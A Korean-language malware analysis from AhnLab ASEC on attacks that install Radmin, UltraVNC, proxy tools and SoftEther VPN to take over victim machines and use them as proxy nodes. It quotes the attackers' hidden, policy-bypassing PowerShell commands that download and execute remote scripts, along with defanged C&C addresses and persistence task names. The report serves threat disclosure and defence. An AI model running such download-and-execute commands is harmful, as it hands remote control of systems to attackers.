Radmin과 UltraVNC를 설치하는 국내 대상 공격 사례
AhnLab SEcurity intelligence Center(ASEC)은 최근 Radmin, UltraVNC를 악용한 공격 사례를 확인하였다. 최초 침투 방식은 확인되지 않았지만 원격 제어 도구인 Radmin을 설치한 후 Ultra VNC를 설치하였다. 공격자는 원격 제어 도구를 악용해 감염 시스템에 대한 제어를 탈취하였으며 Netch, CCProxy를 설치해 감염 시스템을 프록시 노드로 사용하였다. 최근에는 감염 시스템을 VPN 서버로 악용하기 위해 SoftEther VPN을 설치하고 있다.
1. 초기 단계
초기 침투 단계에서 어떠한 방식으로 악성코드를 설치하였는지는 현재 기준 확인되지 않는다. 하지만 파워쉘 프로세스가 Curl 명령을 이용해 다음 경로에서 압축 파일을 다운로드한 것이 확인되었다.
- hxxp://103.86.86[.]244:800/gateway/r.zip
압축 파일 내부에는 Batch 스크립트와 REG 파일 그리고 Radmin 원격 제어 도구가 존재한다. 공격 사례에서 확인된 경로명을 보면 공격자 또는 악성코드는 압축 파일을 해제하고 내부에 존재하는 “11.bat”를 실행하였을 것으로 추정된다.

Figure 1. Radmin 설치 스크립트
“11.bat”은 “C:\Intel\RServer” 경로에 Radmin을 설치하고 “install.reg” 파일을 등록해 Radmin Server의 설정 정보 즉 Radmin 포트 번호, 공격자 ID, Radmin 포트 등을 공격자가 지정한 것으로 설정하였다.
- 공격자 ID : “ruxin”

Figure 2. 레지스트리에 등록된 Radmin 설정
2. Radmin
감염 시스템에 지정한 설정으로 Radmin이 설치된 경우 공격자는 IP 주소만 알면 감염 시스템을 제어할 수 있다. Radmin은 원격 제어 및 모니터링을 제공하는 원격 데스크톱 소프트웨어로서 Radmin Server와 Radmin Viewer로 나뉜다. 사용자는 관리 대상 시스템에 Radmin Server를 설치하고 Radmin Viewer를 통해 관리 대상 시스템을 제어할 수 있다. 즉 감염 시스템에 설치된 것은 Radmin Server이며 다음과 같이 공격자는 감염 시스템의 IP에 지정한 포트로 접속해 설정 정보에 포함된 ID/PW로 로그인할 수 있다.

Figure 3. Radmin Server가 설치된 시스템을 제어하는데 사용되는 Radmin Viewer
3. UltraVNC
3.1. 설치 스크립트
공격자는 이미 감염 시스템에 설치된 Radmin Server를 악용해 제어를 탈취하였다. 하지만 Radmin을 악용해 다음과 같은 추가적인 파워쉘 명령으로 UltraVNC 및 프록시 도구를 설치하기도 하였다. 아래 명령을 통해 실행되는 파워쉘 스크립트는 중국어 주석이 포함되어 있는 것이 특징이다. 설치 스크립트는 설치 폴더인 “C:\Windows\Fonts\web” 폴더를 생성하고 AntiVirus들을 대상으로 예외 경로를 추가하려고 시도하지만 실제 존재하지 않는 파일들이 사용되는 것을 보면 해당 스크립트가 단순히 AI를 활용해 제작하였을 가능성을 보여준다.
> powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/v/deploy.ps1 | iex”

Figure 4. Radmin에 의해 실행된 파워쉘 로그
이후 다운로드 서버로부터 UltraVNC 관련 파일들을 설치 폴더에 다운로드하고 “svchost.exe”를 실행한다. “svchost.exe”는 아래 항목에서 다룰 UltraVNC 인스톨러이다. 만약 인스톨러가 서비스 설치에 실패하면 “WpnUserHost”라는 서비스를 등록해 인스톨러가 서비스로 동작하도록 한다. 이외에도 “WpnUserHost_MutualWatchdog”라는 이름의 작업을 등록해 “repair.ps1” 파일을 다운로드해 실행하도록 한다. 다음은 인스톨러가 사용하는 설정 파일의 내용이다.

Figure 5. 다운로드된 설정 파일
- 설치 경로 : “C:\Windows\Fonts\web”
- UltraVNC 설정 파일 경로 : “C:\Windows\Fonts\web\web.ini”
- C&C 서버 : hxxp://tt.yeyoujs[.]com:8443
- 악성코드 배포 주소 : hxxp://103.86.86[.]244:800/c/
- 터널링 주소 : tt.yeyoujs[.]com:9443
3.2. UltraVNC 인스톨러
인스톨러는 PyInstaller로 제작되었으며 “client”라는 이름을 갖는다. 서비스로 동작 중이 아닐 경우 종료하여 설치 스크립트에 의해 “WpnUserHost” 서비스로 등록될 수 있도록 한다. 서비스로 동작 중인 경우에는 “WpnUserHost_HourlyWatchdog” 작업을 등록해 한 시간 간격으로 “repair.ps1” 파일을 다운로드해 실행하도록 한다. 여기까지의 과정이 끝나면 내부에 존재하는 “agent.py”를 실행한다.
실질적인 기능은 “agent.py”에 포함되어 있다. 설정 파일 “config.json”을 참고해 추가 설치를 진행하는데 먼저 내부에 포함하고 있는 UltraVNC를 설치한다. 이후 방화벽 규칙을 추가하고 임시로 사용할 VNC 포트 및 비밀번호를 무작위로 설정하고 이를 UltraVNC 설정 파일인 “web.ini”와 “ultravnc.ini”에 쓴다.
| URL | 단계 |
|---|---|
| /api/agent/enroll | 장치 등록 (비밀번호, 토큰 등 정보 수신) |
| /api/agent/heartbeat | 상태 보고 (VNC 포트 등의 정보 전송) |
| /api/agent/password_ack | 비밀번호 적용 확인 |
Table 1. 인스톨러가 사용하는 URL 포맷
인스톨러는 C&C 서버에 접속해 hostname 및 mahine_id를 전송하고 device_id 및 token, VNC 비밀번호와 같은 데이터를 수신한다. 그리고 전달받은 비밀번호를 암호화하여 VNC 비밀번호로 사용한다.

Figure 6. 등록 과정 시 패킷 내용
Heatbeat 과정에서는 VNC 포트를 포함한 상태 정보를 전송하며 수신된 비밀번호 적용을 확인하는 과정도 진행한다. 초기에는 PyInstaller로 제작된 유형이 유포되었지만 최근에는 Go 언어로 제작된 유형이 유포 중이다.

Figure 7. Go 언어로 제작된 인스톨러
3.3. UltraVNC
UltraVNC도 위에서 다룬 Radmin과 유사하게 원격 화면 제어를 제공하는 소프트웨어이다. 소스 코드가 공개되어 있으며 UltraVNC Server와 UltraVNC Viewer로 나누어져 있다. 공격 사례에서 설치된 것은 UltraVNC Server로서 공격자가 빌드한 형태로 추정된다. 공격자는 이후 C&C 서버로 보고된 IP 주소 및 VNC 포트 번호에 접속하여 직접 지정한 비밀번호로 로그인해 감염 시스템을 원격에서 제어할 수 있다.

Figure 8. UltraVNC Server가 설치된 시스템을 제어하는데 사용되는 UltraVNC Viewer
4. Proxy
4.1. Netch-gateway
공격자는 UltraVNC뿐만 아니라 중국 개발자가 제작한 것으로 추정되는 프록시 도구도 설치하였다. 이번에 확인된 공격 사례들은 감염 시스템에 대한 제어 탈취 외에도 감염 시스템을 프록시 서버로 활용하는 것이 목적이다. Radmin을 악용해 다음과 같은 파워쉘 명령을 실행하였는데 다운로드된 파워쉘 스크립트는 실행 파일과 설정 파일인 “config.json”을 다운로드한 후 인자로 주고 실행시킨다.
> powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/gateway/deploy_silent1.ps1 | iex”
Netch-gateway는 프록시 프로그램으로서 SOCKS5, Shadowsocks, KCP 프로토콜을 지원하며 직접 실행 시에는 다음과 같은 GUI를 보여준다.

Figure 9. Netch-gateway 프로그램
실행 시 설정 파일을 참고해 C&C 서버의 “auto-config” URL에 접속하여 Node를 등록하고 이후 “desired” URL에서 프록시 설정 정보를 다운로드한다. 현재 기준 설정 정보 다운로드는 불가하지만 정상적으로 다운로드될 경우 프록시 포트와 접속 비밀번호가 포함되어 있을 것으로 보이며 추후 공격자는 감염 시스템을 프록시 노드로 활용해 악성 행위를 수행할 수 있다.
| URL | 단계 |
|---|---|
| /internal/shadowsocks/auto-config | 최초 접속 (노드 등록) |
| /internal/shadowsocks/nodes/<node_id>/desired | 프록시 설정 다운로드 |
| /internal/shadowsocks/nodes/<node_id>/config-version | 설정 버전 확인 |
| /internal/shadowsocks/nodes/<node_id>/heartbeat | 상태 보고 |
Table 3. Netch-gateway가 사용하는 URL 포맷

Figure 10. 설정 주소와의 통신 패킷
4.2. CCProxy
공격자는 초기에는 CCProxy를 사용하였는데 CCProxy 또한 HTTP, HTTPS, SOCKS, FTP와 같은 여러 프록시 기능을 지원하는 도구이다. WinRAR SFX로 제작된 드로퍼는 내부에 설치 스크립트 및 레지스트리 파일, CCProxy 등을 포함하고 있다. 설정 파일인 “CCProxy.ini”의 내용을 보면 49661번 포트를 통해 SOCKS 프록시를 활성화한다.

Figure 11. CCProxy 인스톨러
4.3. SoftEther VPN
최근에는 SoftEther VPN을 설치하는 사례가 확인되었다. WinRAR SFX 형태의 드로퍼는 내부에 Batch 설치 스크립트 “a.bat”과 버전 정보를 정상 MS 프로그램으로 위장한 SoftEther VPN인 “svchost.exe” 그리고 설정 파일 “vpn_server.config” 등의 파일을 가지고 있으며 실행 시 SoftEther VPN을 설치한다. 이에 따라 공격자는 감염 시스템을 VPN 서버로 악용할 수 있다.

Figure 12. SoftEther VPN 설치 스크립트
5. 공격자 정보
최초 침투 방식이나 공격자에 대한 정보는 아직 확인되지 않았다. 하지만 공격에 사용된 스크립트에 중국어 주석 문자열이 있는 점이나 사용되는 도구들이 중국어 사용자들에 익숙하며 설정 정보도 중국어인 점을 보면 공격자가 중국어 사용자일 가능성이 존재한다.

Figure 13. 중국어 주석이 포함된 스크립트
이외에도 Netch-gateway 프로그램의 설정 파일에 지정된 주소들에 접속해 Node를 등록하고 프록시 설정 정보를 다운로드하는데 사용되는 주소들은 웹 브라우저를 통해 접속할 경우 중국어 페이지의 프록시 서비스를 보여준다.
6. 결론
최근 국내 사용자들을 대상으로 Radmin, Ultra VNC와 같은 원격 제어 도구들을 설치하는 공격 사례들이 확인되었다. 공격자는 설치된 원격 제어 도구들을 악용해 감염 시스템들에 대한 제어를 탈취하였으며 이후 다수의 프록시 도구들 및 SoftEther VPN 서버를 설치하기도 하였다. 이러한 공격에 노출될 경우 시스템에 저장된 민감한 정보들이 탈취당할 수 있으며 시스템이 프록시 또는 VPN 서버로 악용될 수 있다. 사용자들은 출처가 불분명한 실행 파일을 각별히 주의해야 하며 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.